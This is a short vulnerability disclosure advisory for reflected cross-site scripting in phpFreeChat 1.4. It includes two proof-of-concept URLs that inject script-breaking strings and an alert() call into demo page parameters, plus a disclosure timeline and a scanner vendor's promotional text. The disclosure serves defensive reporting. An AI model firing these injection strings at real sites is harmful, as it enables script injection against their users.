phpFreeChat 1.4 Cross Site Scripting

`Information  
--------------------  
Name : XSS Vulnerabilities in phpFreeChat  
Software : phpFreeChat 1.4 and possibly below.  
Vendor Homepage : http://www.phpfreechat.net  
Vulnerability Type : Cross-Site Scripting  
Severity : Critical  
Researcher : Mesut Timur  
Advisory Reference : NS-12-010  
  
Description  
--------------------  
phpFreeChat is a free, simple to install, fast, customizable and multi  
languages chat that uses a simple filesystem for message and nickname  
storage.  
  
Details  
--------------------  
phpFreeChat is affected by XSS vulnerabilities in version 1.4.  
  
Example PoC urls are as follows :  
http://example.com/demo/demo21_with_hardcoded_urls.php?'"­­--></style></script><script>alert(0x000A26)</script>  
http://example.com/demo/demo2_simple_with_params.php?'"­­--></style></script><script>alert(0x000855)</script>  
  
You can read the full article about Cross-Site Scripting  
vulnerabilities from here :  
  
Cross-site Scripting  
Solution  
--------------------  
The vendor fixed this vulnerability in the new version. Please see the  
references.  
  
Advisory Timeline  
--------------------  
29/06/2012 - First contact: No reply  
14/08/2012 - Second contact: Sent the vulnerability details  
24/09/2012 - Ask for patch/fix: No reply  
02/10/2012 - Vulnerability Released  
  
Credits  
--------------------  
It has been discovered on testing of Netsparker, Web Application  
Security Scanner - http://www.mavitunasecurity.com/netsparker/.  
  
References  
--------------------  
Vendor Url / Patch : -  
MSL Advisory Link :  
http://www.mavitunasecurity.com/xss-vulnerabilities-in-phpfreechat/  
Netsparker Advisories : http://www.mavitunasecurity.com/netsparker-advisories/  
  
About Netsparker  
--------------------  
Netsparker® can find and report security issues such as SQL Injection  
and Cross-site Scripting (XSS) in all web applications regardless of  
the platform and the technology they are built on. Netsparker's unique  
detection and exploitation techniques allows it to be dead accurate in  
reporting hence it's the first and the only False Positive Free web  
application security scanner.  
  
--   
Netsparker Advisories, <[email protected]>  
Homepage, http://www.mavitunasecurity.com/netsparker-advisories/  
`